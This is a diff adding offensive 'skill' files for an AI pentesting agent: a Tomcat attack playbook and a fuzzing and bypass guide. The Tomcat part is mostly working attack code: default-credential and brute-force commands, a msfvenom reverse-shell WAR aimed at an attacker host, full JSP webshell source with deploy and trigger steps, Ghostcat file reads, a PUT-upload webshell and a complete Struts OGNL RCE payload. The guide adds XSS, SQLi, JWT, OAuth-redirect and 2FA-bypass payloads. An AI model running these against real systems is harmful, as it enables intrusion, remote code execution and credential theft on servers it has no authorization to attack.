- package/skills/offensive/airecon-fork/vulnerabilities-blind-xss/SKILL.md +111 -0
- package/skills/offensive/airecon-fork/vulnerabilities-business-logic/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-cors/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-crlf-injection/SKILL.md +146 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf/SKILL.md +200 -0
- package/skills/offensive/airecon-fork/vulnerabilities-csrf-advanced-bypass/SKILL.md +536 -0
- package/skills/offensive/airecon-fork/vulnerabilities-deserialization/SKILL.md +363 -0
- package/skills/offensive/airecon-fork/vulnerabilities-dom-based-vulnerabilities/SKILL.md +105 -0
- package/skills/offensive/airecon-fork/vulnerabilities-exploitation/SKILL.md +286 -0
- package/skills/offensive/airecon-fork/vulnerabilities-grpc/SKILL.md +123 -0
- package/skills/offensive/airecon-fork/vulnerabilities-host-header-injection/SKILL.md +169 -0
- package/skills/offensive/airecon-fork/vulnerabilities-http-smuggling/SKILL.md +411 -0
- package/skills/offensive/airecon-fork/vulnerabilities-idor/SKILL.md +705 -0
- package/skills/offensive/airecon-fork/vulnerabilities-information-disclosure/SKILL.md +867 -0
- package/skills/offensive/airecon-fork/vulnerabilities-insecure-file-uploads/SKILL.md +190 -0
- package/skills/offensive/airecon-fork/vulnerabilities-jwt-attacks/SKILL.md +270 -0
- package/skills/offensive/airecon-fork/vulnerabilities-kubernetes/SKILL.md +252 -0
- package/skills/offensive/airecon-fork/vulnerabilities-mass-assignment/SKILL.md +788 -0
- package/skills/offensive/airecon-fork/vulnerabilities-nosql-injection/SKILL.md +204 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-misconfig/SKILL.md +220 -0
- package/skills/offensive/airecon-fork/vulnerabilities-oauth-saml/SKILL.md +163 -0
- package/skills/offensive/airecon-fork/vulnerabilities-open-redirect/SKILL.md +167 -0
- package/skills/offensive/airecon-fork/vulnerabilities-password-reset-poisoning/SKILL.md +66 -0
- package/skills/offensive/airecon-fork/vulnerabilities-path-traversal/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-privilege-escalation/SKILL.md +320 -0
- package/skills/offensive/airecon-fork/vulnerabilities-prototype-pollution/SKILL.md +242 -0
- package/skills/offensive/airecon-fork/vulnerabilities-race-conditions/SKILL.md +192 -0
- package/skills/offensive/airecon-fork/vulnerabilities-rce/SKILL.md +240 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sensitive-file-pii-exposure/SKILL.md +589 -0
- package/skills/offensive/airecon-fork/vulnerabilities-spring4shell/SKILL.md +86 -0
- package/skills/offensive/airecon-fork/vulnerabilities-sql-injection/SKILL.md +313 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssrf/SKILL.md +183 -0
- package/skills/offensive/airecon-fork/vulnerabilities-ssti/SKILL.md +344 -0
- package/skills/offensive/airecon-fork/vulnerabilities-subdomain-takeover/SKILL.md +160 -0
- package/skills/offensive/airecon-fork/vulnerabilities-supply-chain/SKILL.md +125 -0
- package/skills/offensive/airecon-fork/vulnerabilities-unhandled-exception-differential/SKILL.md +742 -0
- package/skills/offensive/airecon-fork/vulnerabilities-waf-detection/SKILL.md +90 -0
- package/skills/offensive/airecon-fork/vulnerabilities-web-cache-poisoning/SKILL.md +233 -0
- package/skills/offensive/airecon-fork/vulnerabilities-websocket/SKILL.md +180 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xss/SKILL.md +316 -0
- package/skills/offensive/airecon-fork/vulnerabilities-xxe/SKILL.md +222 -0
|
@@ -0,0 +1,232 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
---
|
|
4
|
+
name: tomcat
|
|
5
|
+
description: Security testing playbook for Apache Tomcat covering manager app RCE, AJP Ghostcat, default credentials, WAR file deployment, and Tomcat-specific misconfigurations
|
|
6
|
+
---
|
|
7
|
+
|
|
8
|
+
# Apache Tomcat Security Testing
|
|
9
|
+
|
|
10
|
+
Tomcat is the most common Java servlet container. Critical attack surface: manager app with default credentials enabling WAR file upload (instant RCE), AJP Ghostcat (CVE-2020-1938) for file read, and host-manager misconfigurations.
|
|
11
|
+
|
|
12
|
+
---
|
|
13
|
+
|
|
14
|
+
## Reconnaissance
|
|
15
|
+
|
|
16
|
+
### Discovery
|
|
17
|
+
|
|
18
|
+
# Port scanning
|
|
19
|
+
nmap -p 8080,8443,8009,8005 <target> -sV --open
|
|
20
|
+
|
|
21
|
+
# Ports:
|
|
22
|
+
# 8080 — Tomcat HTTP
|
|
23
|
+
# 8443 — Tomcat HTTPS
|
|
24
|
+
# 8009 — AJP connector (Ghostcat target)
|
|
25
|
+
# 8005 — Shutdown port (bind to 127.0.0.1 normally)
|
|
26
|
+
|
|
27
|
+
# Tomcat fingerprinting:
|
|
28
|
+
GET / # Default page or deployed app
|
|
29
|
+
GET /index.jsp # JSP extension = Java servlet container
|
|
30
|
+
GET /examples/ # Tomcat example apps (reveals version)
|
|
31
|
+
GET /docs/ # Tomcat docs (version in title)
|
|
32
|
+
# Error page shows Tomcat version: "Apache Tomcat/9.0.65"
|
|
33
|
+
|
|
34
|
+
---
|
|
35
|
+
|
|
36
|
+
## Manager Application
|
|
37
|
+
|
|
38
|
+
The Tomcat Manager deploys/undeploys WARs and provides server status:
|
|
39
|
+
|
|
40
|
+
# Manager app paths
|
|
41
|
+
GET /manager/html # Web-based Manager GUI
|
|
42
|
+
GET /manager/text # Text-based Manager API
|
|
43
|
+
GET /manager/status # Server status (JVM, threads, requests)
|
|
44
|
+
GET /host-manager/html # Virtual host manager
|
|
45
|
+
|
|
46
|
+
# Default credentials (try all):
|
|
47
|
+
tomcat:tomcat
|
|
48
|
+
admin:admin
|
|
49
|
+
admin:password
|
|
50
|
+
admin:
|
|
51
|
+
tomcat:s3cret
|
|
52
|
+
both:tomcat
|
|
53
|
+
role1:tomcat
|
|
54
|
+
manager:manager
|
|
55
|
+
root:root
|
|
56
|
+
|
|
57
|
+
# Brute force Manager:
|
|
58
|
+
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt \
|
|
59
|
+
-P /usr/share/wordlists/rockyou.txt \
|
|
60
|
+
<target> http-get /manager/html
|
|
61
|
+
|
|
62
|
+
# curl with basic auth:
|
|
63
|
+
curl -u tomcat:tomcat http://<target>:8080/manager/html
|
|
64
|
+
|
|
65
|
+
---
|
|
66
|
+
|
|
67
|
+
## WAR File Upload → RCE
|
|
68
|
+
|
|
69
|
+
If Manager credentials found, deploy malicious WAR for webshell:
|
|
70
|
+
|
|
71
|
+
# Method 1: msfvenom WAR payload
|
|
72
|
+
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<attacker> LPORT=4444 -f war -o shell.war
|
|
73
|
+
|
|
74
|
+
# Method 2: Manual JSP webshell in WAR
|
|
75
|
+
mkdir -p /tmp/webshell/WEB-INF
|
|
76
|
+
cat > /tmp/webshell/cmd.jsp << 'EOF'
|
|
77
|
+
<%@ page import="java.io.*" %>
|
|
78
|
+
<%
|
|
79
|
+
String cmd = request.getParameter("cmd");
|
|
80
|
+
if (cmd != null) {
|
|
81
|
+
Process p = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
|
|
82
|
+
InputStream in = p.getInputStream();
|
|
83
|
+
int c;
|
|
84
|
+
while ((c = in.read()) != -1) out.print((char)c);
|
|
85
|
+
p.waitFor();
|
|
86
|
+
}
|
|
87
|
+
%>
|
|
88
|
+
EOF
|
|
89
|
+
cat > /tmp/webshell/WEB-INF/web.xml << 'EOF'
|
|
90
|
+
<?xml version="1.0" encoding="UTF-8"?>
|
|
91
|
+
<web-app xmlns="http://java.sun.com/xml/ns/javaee" version="2.5">
|
|
92
|
+
</web-app>
|
|
93
|
+
EOF
|
|
94
|
+
cd /tmp/webshell && jar -cvf shell.war .
|
|
95
|
+
|
|
96
|
+
# Deploy WAR via Manager API:
|
|
97
|
+
curl -u tomcat:tomcat \
|
|
98
|
+
"http://<target>:8080/manager/text/deploy?path=/shell&update=true" \
|
|
99
|
+
--upload-file shell.war
|
|
100
|
+
|
|
101
|
+
# Trigger webshell:
|
|
102
|
+
curl "http://<target>:8080/shell/cmd.jsp?cmd=id"
|
|
103
|
+
|
|
104
|
+
# Undeploy (cleanup):
|
|
105
|
+
curl -u tomcat:tomcat "http://<target>:8080/manager/text/undeploy?path=/shell"
|
|
106
|
+
|
|
107
|
+
# Metasploit:
|
|
108
|
+
use exploit/multi/http/tomcat_mgr_upload
|
|
109
|
+
set RHOSTS <target>
|
|
110
|
+
set RPORT 8080
|
|
111
|
+
set HttpUsername tomcat
|
|
112
|
+
set HttpPassword tomcat
|
|
113
|
+
run
|
|
114
|
+
|
|
115
|
+
---
|
|
116
|
+
|
|
117
|
+
## AJP Ghostcat (CVE-2020-1938)
|
|
118
|
+
|
|
119
|
+
AJP port 8009 allows reading arbitrary files from the Tomcat webapp (no auth):
|
|
120
|
+
|
|
121
|
+
# Check if AJP is exposed:
|
|
122
|
+
nmap -p 8009 <target>
|
|
123
|
+
|
|
124
|
+
# Ghostcat — read arbitrary files from webapp:
|
|
125
|
+
# Tool: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
|
|
126
|
+
|
|
127
|
+
python3 ajpShooter.py http://<target> 8009 /WEB-INF/web.xml read
|
|
128
|
+
python3 ajpShooter.py http://<target> 8009 /WEB-INF/classes/application.properties read
|
|
129
|
+
|
|
130
|
+
# Read sensitive files via AJP:
|
|
131
|
+
python3 ajpShooter.py http://<target> 8009 /META-INF/context.xml read # DB creds
|
|
132
|
+
python3 ajpShooter.py http://<target> 8009 /WEB-INF/spring/root-context.xml read
|
|
133
|
+
|
|
134
|
+
# If JSP file upload exists → RCE via AJP:
|
|
135
|
+
# 1. Upload a JSP file (any file upload endpoint)
|
|
136
|
+
# 2. Include uploaded file via AJP: ajpShooter.py ... /uploads/shell.jpg exec
|
|
137
|
+
|
|
138
|
+
# Nuclei:
|
|
139
|
+
nuclei -t cves/2020/CVE-2020-1938.yaml -u http://<target>:8009/
|
|
140
|
+
|
|
141
|
+
---
|
|
142
|
+
|
|
143
|
+
## Tomcat Configuration Files
|
|
144
|
+
|
|
145
|
+
# If Manager access exists, read config files:
|
|
146
|
+
|
|
147
|
+
# tomcat-users.xml — all credentials:
|
|
148
|
+
GET /manager/text/serverinfo # JVM + OS info
|
|
149
|
+
# File location: $CATALINA_HOME/conf/tomcat-users.xml
|
|
150
|
+
|
|
151
|
+
# Via LFI or file read primitives:
|
|
152
|
+
/etc/tomcat9/tomcat-users.xml
|
|
153
|
+
/usr/share/tomcat9/conf/tomcat-users.xml
|
|
154
|
+
/opt/tomcat/conf/tomcat-users.xml
|
|
155
|
+
$CATALINA_HOME/conf/server.xml # AJP config, ports, connectors
|
|
156
|
+
$CATALINA_HOME/conf/web.xml # Default servlet config
|
|
157
|
+
|
|
158
|
+
# Key fields in server.xml:
|
|
159
|
+
<Connector port="8009" protocol="AJP/1.3" ... /> # AJP connector
|
|
160
|
+
# If requiredSecret not set = vulnerable to Ghostcat
|
|
161
|
+
|
|
162
|
+
---
|
|
163
|
+
|
|
164
|
+
## Default Web Applications
|
|
165
|
+
|
|
166
|
+
Tomcat ships with example applications — always check:
|
|
167
|
+
|
|
168
|
+
GET /examples/ # Servlet and JSP examples
|
|
169
|
+
GET /examples/servlets/ # Servlet demos
|
|
170
|
+
GET /examples/jsp/ # JSP demos (may have file read)
|
|
171
|
+
GET /examples/jsp/snp/snoop.jsp # HTTP request info (headers, session)
|
|
172
|
+
GET /examples/jsp/source.jsp # JSP source code viewer
|
|
173
|
+
GET /host-manager/ # Virtual host manager
|
|
174
|
+
GET /ROOT/ # Default ROOT webapp
|
|
175
|
+
|
|
176
|
+
---
|
|
177
|
+
|
|
178
|
+
## CVE Exploitation
|
|
179
|
+
|
|
180
|
+
| CVE | Tomcat Version | Impact |
|
|
181
|
+
|-----|---------------|--------|
|
|
182
|
+
| CVE-2020-1938 | < 9.0.31, < 8.5.51, < 7.0.100 | AJP file read / RCE (Ghostcat) |
|
|
183
|
+
| CVE-2017-12617 | < 9.0.1, < 8.5.23, < 8.0.47, < 7.0.82 | JSP upload via PUT + RCE |
|
|
184
|
+
| CVE-2019-0232 | Windows, CGI servlet | RCE via CGI arguments |
|
|
185
|
+
| CVE-2016-4438 | Struts 2 (on Tomcat) | RCE via OGNL injection |
|
|
186
|
+
| CVE-2014-0094 | Struts 2 | ClassLoader manipulation |
|
|
187
|
+
|
|
188
|
+
# CVE-2017-12617 — JSP upload via HTTP PUT:
|
|
189
|
+
curl -X PUT "http://<target>:8080/shell.jsp/" \
|
|
190
|
+
-d "<%Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",\"id\"});%>"
|
|
191
|
+
# Note trailing slash — bypasses restriction
|
|
192
|
+
|
|
193
|
+
# Access webshell:
|
|
194
|
+
GET /shell.jsp
|
|
195
|
+
|
|
196
|
+
# Nuclei:
|
|
197
|
+
nuclei -t cves/ -tags tomcat -u http://<target>:8080/
|
|
198
|
+
|
|
199
|
+
---
|
|
200
|
+
|
|
201
|
+
## Struts 2 (Commonly Deployed on Tomcat)
|
|
202
|
+
|
|
203
|
+
Apache Struts is a Java MVC framework frequently deployed on Tomcat:
|
|
204
|
+
|
|
205
|
+
# Struts 2 fingerprinting:
|
|
206
|
+
GET /*.action # Action extension
|
|
207
|
+
GET /*.do # Alternative extension
|
|
208
|
+
# Error pages may show Struts version
|
|
209
|
+
|
|
210
|
+
# OGNL injection (Struts 2 RCE):
|
|
211
|
+
# CVE-2017-5638 (S2-045) — Content-Type header:
|
|
212
|
+
curl -X POST http://<target>/example/Login.action \
|
|
213
|
+
-H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
|
|
214
|
+
|
|
215
|
+
# Automated Struts2 scanner:
|
|
216
|
+
python3 struts-pwn.py --url http://<target>/*.action --cmd id
|
|
217
|
+
|
|
218
|
+
---
|
|
219
|
+
|
|
220
|
+
## Pro Tips
|
|
221
|
+
|
|
222
|
+
1. Try ALL default credential combinations — `tomcat:s3cret` and `admin:admin` are most common
|
|
223
|
+
2. AJP port 8009 often not firewalled internally — Ghostcat is zero-credential file read
|
|
224
|
+
3. CVE-2017-12617 (PUT JSP upload) is still common on unpatched Tomcat < 8.5.23
|
|
225
|
+
4. `/examples/` apps should never be in production — check for source.jsp file reader
|
|
226
|
+
5. Struts 2 on Tomcat is an extremely high-value target — OGNL injection = RCE
|
|
227
|
+
6. `tomcat-users.xml` contains plaintext passwords — read via Ghostcat or LFI
|
|
228
|
+
7. WAR deployment via Manager with minimal permissions (deploy role only) is common
|
|
229
|
+
|
|
230
|
+
## Summary
|
|
231
|
+
|
|
232
|
+
Tomcat testing = Manager app with default creds → WAR upload RCE + AJP port 8009 Ghostcat file read + CVE-2017-12617 PUT JSP upload. Manager app + `tomcat:tomcat` = instant RCE via WAR deploy in 30 seconds. AJP Ghostcat is zero-credential arbitrary file read — read `tomcat-users.xml`, `web.xml`, and database config files. Always check for Struts 2 if `.action` or `.do` extensions appear — OGNL injection is still one of the most impactful Java RCEs.
|
|
@@ -0,0 +1,351 @@
|
|
|
1
|
+
<!-- aegis-local: forked 2026-05-04 from pikpikcu/airecon@9a21453459d87eefb012ea355c79b593d0d3c0cc (MIT-licensed); attribution preserved, see ATTRIBUTION.md -->
|
|
2
|
+
|
|
3
|
+
# Advanced Fuzzing & Expert Testing Guide
|
|
4
|
+
|
|
5
|
+
## Built-in Python Fuzzing Tools (Use These First)
|
|
6
|
+
|
|
7
|
+
AIRecon has three built-in fuzzing tools that run directly inside the agent — no shell needed:
|
|
8
|
+
|
|
9
|
+
| Tool | When to Use | Speed |
|
|
10
|
+
|---|---|---|
|
|
11
|
+
| `quick_fuzz` | First pass on any URL — auto-discovers params, tests SQLi/XSS/SSTI/Path Traversal | Fast |
|
|
12
|
+
| `advanced_fuzz` | When you know specific params and vuln types to test | Medium |
|
|
13
|
+
| `deep_fuzz` | After quick/advanced finds hints — discovers multi-step exploit chains (SQLi→RCE, XSS→Cookie Steal) | Slow but thorough |
|
|
14
|
+
| `generate_wordlist` | Before ffuf — saves targeted exploit payload wordlist (SQLi/XSS/SSTI/SSRF/etc.) to `output/` | Instant |
|
|
15
|
+
|
|
16
|
+
### Decision Flow
|
|
17
|
+
|
|
18
|
+
```
|
|
19
|
+
New endpoint discovered?
|
|
20
|
+
↓
|
|
21
|
+
1. quick_fuzz(target=url) ← always start here, no setup needed
|
|
22
|
+
↓
|
|
23
|
+
Got findings? → deep_fuzz(target=url) ← deeper chain analysis
|
|
24
|
+
No findings? → advanced_fuzz(target=url, parameters=[...], vuln_types=[...])
|
|
25
|
+
↓
|
|
26
|
+
2. generate_wordlist(output_file="sqli.txt", vuln_types=["sql_injection","xss"])
|
|
27
|
+
→ ffuf -u "url?param=FUZZ" -w output/sqli.txt -mc 200,302,500
|
|
28
|
+
```
|
|
29
|
+
|
|
30
|
+
### Examples
|
|
31
|
+
|
|
32
|
+
```
|
|
33
|
+
# Quick scan — no param knowledge needed
|
|
34
|
+
quick_fuzz(target="https://target.com/search?q=test")
|
|
35
|
+
|
|
36
|
+
# Deep chain discovery after finding XSS hint
|
|
37
|
+
deep_fuzz(target="https://target.com/api/comment", params=["body","title"])
|
|
38
|
+
|
|
39
|
+
# Generate targeted SQLi+XSS payload wordlist then use with ffuf
|
|
40
|
+
generate_wordlist(output_file="web_payloads.txt", vuln_types=["sql_injection","xss","ssti"])
|
|
41
|
+
execute: ffuf -u "https://target.com/api?q=FUZZ" -w /workspace/target/output/web_payloads.txt -mc 200,500
|
|
42
|
+
|
|
43
|
+
# Generate all payloads (no filter) for broad coverage
|
|
44
|
+
generate_wordlist(output_file="all_payloads.txt")
|
|
45
|
+
execute: ffuf -u "https://target.com/search?q=FUZZ" -w /workspace/target/output/all_payloads.txt -mr "error|warning|exception"
|
|
46
|
+
```
|
|
47
|
+
|
|
48
|
+
### Available vuln_types for generate_wordlist
|
|
49
|
+
|
|
50
|
+
```
|
|
51
|
+
sql_injection, xss, command_injection, path_traversal, ssti,
|
|
52
|
+
xxe, ssrf, idor, mass_assignment, parameter_pollution,
|
|
53
|
+
jwt, graphql, race_condition
|
|
54
|
+
```
|
|
55
|
+
|
|
56
|
+
## Zero-Day Discovery Strategy
|
|
57
|
+
|
|
58
|
+
### 1. Intelligent Fuzzing
|
|
59
|
+
|
|
60
|
+
When standard tools fail, use intelligent fuzzing:
|
|
61
|
+
|
|
62
|
+
CRITICAL ffuf flag note: ffuf uses -rate (NOT -rl). -rl does NOT exist in ffuf.
|
|
63
|
+
Wrong: ffuf ... -rl 100 ← "flag provided but not defined: -rl"
|
|
64
|
+
Correct: ffuf ... -rate 100
|
|
65
|
+
Also: ALWAYS add -noninteractive for agent use (prevents interactive console hanging).
|
|
66
|
+
|
|
67
|
+
```
|
|
68
|
+
# Fuzz parameters with mutations
|
|
69
|
+
ffuf -u "https://target.com/api?PARAM=FUZZ" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -mr "error|exception|warning" -t 30 -rate 50 -noninteractive
|
|
70
|
+
|
|
71
|
+
# Fuzz with payloads
|
|
72
|
+
ffuf -u "https://target.com/search?q=FUZZ" -w xss_payloads.txt -fc 400,404 -t 30 -rate 50 -noninteractive
|
|
73
|
+
|
|
74
|
+
# Fuzz HTTP methods
|
|
75
|
+
for method in GET POST PUT DELETE PATCH; do curl -X $method "https://target.com/api"; done
|
|
76
|
+
|
|
77
|
+
# Fuzz headers
|
|
78
|
+
ffuf -u "https://target.com/" -H "FUZZ: test" -w /usr/share/seclists/Discovery/Web-Content/burp-http-headers.txt -t 20 -rate 30 -noninteractive
|
|
79
|
+
```
|
|
80
|
+
|
|
81
|
+
### 2. Parameter Pollution Testing
|
|
82
|
+
|
|
83
|
+
Test for HPP (HTTP Parameter Pollution):
|
|
84
|
+
```
|
|
85
|
+
?id=1&id=2
|
|
86
|
+
?id=1&id=1
|
|
87
|
+
?id=1|id=2
|
|
88
|
+
?id=1%26id=2
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### 3. Mass Assignment Testing
|
|
92
|
+
|
|
93
|
+
Try adding extra parameters:
|
|
94
|
+
```
|
|
95
|
+
# Add admin parameters
|
|
96
|
+
POST /user/update
|
|
97
|
+
user[name]=test&role=admin
|
|
98
|
+
user[name]=test&is_admin=1
|
|
99
|
+
user[name]=test&privileges[]=admin
|
|
100
|
+
|
|
101
|
+
# Add price manipulation
|
|
102
|
+
POST /checkout
|
|
103
|
+
price=100&discount=999
|
|
104
|
+
price=-100
|
|
105
|
+
amount=0.01
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### 4. Bypass Techniques
|
|
109
|
+
|
|
110
|
+
#### WAF Bypass
|
|
111
|
+
```
|
|
112
|
+
# Case variation
|
|
113
|
+
<ScRiPt>alert(1)</sCrIpT>
|
|
114
|
+
|
|
115
|
+
# Encoding
|
|
116
|
+
%3Cscript%3Ealert(1)%3C/script%3E
|
|
117
|
+
|
|
118
|
+
# Polygot
|
|
119
|
+
javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
#### Auth Bypass
|
|
123
|
+
```
|
|
124
|
+
# SQLi in login
|
|
125
|
+
admin' OR '1'='1
|
|
126
|
+
' OR 1=1--
|
|
127
|
+
" OR "1"="1
|
|
128
|
+
|
|
129
|
+
# JWT bypass
|
|
130
|
+
{"alg":"none","typ":"JWT"}
|
|
131
|
+
{"alg":"HS256","typ":"JWT","kid":"../../../../../etc/passwd"}
|
|
132
|
+
|
|
133
|
+
# OAuth redirect
|
|
134
|
+
https://target.com/oauth?redirect_uri=https://attacker.com
|
|
135
|
+
https://target.com/oauth?redirect_uri=https://target.com.attacker.com
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### 5. Race Condition Testing
|
|
139
|
+
|
|
140
|
+
Use Burp Repeater or turbo-intruder:
|
|
141
|
+
```
|
|
142
|
+
# Send same request 10 times simultaneously
|
|
143
|
+
# Test: gift card balance, password reset, coupon reuse
|
|
144
|
+
```
|
|
145
|
+
|
|
146
|
+
## Expert Intuition Patterns
|
|
147
|
+
|
|
148
|
+
### High-Probability Vulnerability Locations
|
|
149
|
+
|
|
150
|
+
Based on experience, these are MOST LIKELY to be vulnerable:
|
|
151
|
+
|
|
152
|
+
1. **Authentication Endpoints**
|
|
153
|
+
- `/login`, `/signin`, `/auth`
|
|
154
|
+
- `/forgot-password`, `/reset-password`
|
|
155
|
+
- `/register`, `/signup`
|
|
156
|
+
|
|
157
|
+
2. **API Endpoints**
|
|
158
|
+
- `/api/v1/*`
|
|
159
|
+
- `/api/admin/*`
|
|
160
|
+
- `/api/user/*`
|
|
161
|
+
|
|
162
|
+
3. **ID Parameters**
|
|
163
|
+
- Any parameter named `id`, `user_id`, `order_id`
|
|
164
|
+
- Often vulnerable to IDOR
|
|
165
|
+
|
|
166
|
+
4. **Search/Filter**
|
|
167
|
+
- `/search`, `/query`, `/find`
|
|
168
|
+
- Often XSS or SQLi
|
|
169
|
+
|
|
170
|
+
5. **File Operations**
|
|
171
|
+
- `/upload`, `/download`, `/view`
|
|
172
|
+
- Often LFI, RCE, SSRF
|
|
173
|
+
|
|
174
|
+
6. **Redirects**
|
|
175
|
+
- `redirect`, `callback`, `return`, `next`
|
|
176
|
+
- Often open redirect or SSRF
|
|
177
|
+
|
|
178
|
+
### Expert Testing Order
|
|
179
|
+
|
|
180
|
+
Don't test randomly! Follow this ORDER:
|
|
181
|
+
|
|
182
|
+
```
|
|
183
|
+
1. IDOR (easiest to find)
|
|
184
|
+
- Change IDs in: profile, orders, documents
|
|
185
|
+
|
|
186
|
+
2. XSS (high impact)
|
|
187
|
+
- Search, comment, profile fields
|
|
188
|
+
|
|
189
|
+
3. SQLi (critical)
|
|
190
|
+
- Login, search, filters
|
|
191
|
+
|
|
192
|
+
4. Auth bypass
|
|
193
|
+
- JWT, OAuth, session
|
|
194
|
+
|
|
195
|
+
5. Business logic (highest impact)
|
|
196
|
+
- Price manipulation
|
|
197
|
+
- Race conditions
|
|
198
|
+
```
|
|
199
|
+
|
|
200
|
+
## Real-Time Response Analysis
|
|
201
|
+
|
|
202
|
+
### What to Look For
|
|
203
|
+
|
|
204
|
+
```
|
|
205
|
+
# Error messages (SQLi, RCE)
|
|
206
|
+
"SQL syntax", "mysql_fetch", "ORA-", "unterminated"
|
|
207
|
+
"Parse error", "undefined", "fatal error"
|
|
208
|
+
|
|
209
|
+
# Information disclosure
|
|
210
|
+
"Warning:", "Notice:", "Stack trace:"
|
|
211
|
+
"/etc/passwd", "c:\windows"
|
|
212
|
+
|
|
213
|
+
# Behavior changes
|
|
214
|
+
- Different status code
|
|
215
|
+
- Different content length
|
|
216
|
+
- Different response time
|
|
217
|
+
- New cookies set
|
|
218
|
+
- New redirects
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
### Immediate Actions on Anomaly
|
|
222
|
+
|
|
223
|
+
```
|
|
224
|
+
IF error in response → Try escalation (SQLi, RCE)
|
|
225
|
+
IF redirect → Test open redirect, SSRF
|
|
226
|
+
IF timeout → Test DoS, slow Loris
|
|
227
|
+
IF longer response → Test for data disclosure
|
|
228
|
+
IF cookies set → Test for authentication issues
|
|
229
|
+
```
|
|
230
|
+
|
|
231
|
+
## Creative Exploit Chaining
|
|
232
|
+
|
|
233
|
+
### Known Chains
|
|
234
|
+
|
|
235
|
+
1. **SSRF → AWS Metadata**
|
|
236
|
+
```
|
|
237
|
+
SSRF (port 80/443) → AWS metadata (169.254.169.254) → Credentials → Full AWS compromise
|
|
238
|
+
```
|
|
239
|
+
|
|
240
|
+
2. **IDOR + Broken Auth**
|
|
241
|
+
```
|
|
242
|
+
IDOR (change user_id) + Session fixation → Account takeover
|
|
243
|
+
```
|
|
244
|
+
|
|
245
|
+
3. **XSS + CSRF**
|
|
246
|
+
```
|
|
247
|
+
XSS (stored) + CSRF token theft → Account takeover
|
|
248
|
+
```
|
|
249
|
+
|
|
250
|
+
4. **File Upload + LFI**
|
|
251
|
+
```
|
|
252
|
+
Upload restriction bypass → Webshell → LFI → Database credentials → Full compromise
|
|
253
|
+
```
|
|
254
|
+
|
|
255
|
+
5. **JWT + SQLi**
|
|
256
|
+
```
|
|
257
|
+
JWT algorithm confusion → Forge token → SQLi in user context → Admin access
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
## Manual Testing Checklist
|
|
261
|
+
|
|
262
|
+
Run through this for EVERY target:
|
|
263
|
+
|
|
264
|
+
```
|
|
265
|
+
☐ Test all ID parameters (IDOR)
|
|
266
|
+
☐ Test all input fields (XSS)
|
|
267
|
+
☐ Test all search parameters (XSS, SQLi)
|
|
268
|
+
☐ Test authentication endpoints (SQLi, Auth bypass)
|
|
269
|
+
☐ Test file upload (RCE)
|
|
270
|
+
☐ Test redirects (Open redirect, SSRF)
|
|
271
|
+
☐ Test headers (SSRF, CRLF)
|
|
272
|
+
☐ Test APIs (IDOR, BOLA)
|
|
273
|
+
☐ Test business logic (Price, quantity)
|
|
274
|
+
☐ Test race conditions (Time-based)
|
|
275
|
+
```
|
|
276
|
+
|
|
277
|
+
## Response Time Analysis
|
|
278
|
+
|
|
279
|
+
Use timing to detect vulnerabilities:
|
|
280
|
+
|
|
281
|
+
```
|
|
282
|
+
SQLi (time-based):
|
|
283
|
+
?param=1' AND SLEEP(5)-- (5 second delay = vulnerable)
|
|
284
|
+
|
|
285
|
+
Blind XSS:
|
|
286
|
+
?comment=<script>... (check your callback server)
|
|
287
|
+
|
|
288
|
+
Race Condition:
|
|
289
|
+
Send 10 requests simultaneously
|
|
290
|
+
Check if balance updated correctly
|
|
291
|
+
```
|
|
292
|
+
|
|
293
|
+
## Expert Tips
|
|
294
|
+
|
|
295
|
+
1. **Always check source** - View source reveals hidden params, comments, secrets
|
|
296
|
+
2. **Check JavaScript** - API endpoints, hardcoded keys, validation logic
|
|
297
|
+
3. **Check mobile API** - Often less protected than web
|
|
298
|
+
4. **Check staging/backup** - /staging, /test, /backup, /old
|
|
299
|
+
5. **Check subdomains** - Often forgotten, less secured
|
|
300
|
+
6. **Check third-party** - Embedded content, plugins, integrations
|
|
301
|
+
|
|
302
|
+
## Creative Techniques
|
|
303
|
+
|
|
304
|
+
### Bypass 2FA
|
|
305
|
+
```
|
|
306
|
+
- Response manipulation: {"code":"1234","success":false} → {"code":"1234","success":true}
|
|
307
|
+
- Lack of rate limiting: Request 0000-9999 codes
|
|
308
|
+
- Backup codes: Use instead of 2FA
|
|
309
|
+
- Token reuse: Use old token after disable 2FA
|
|
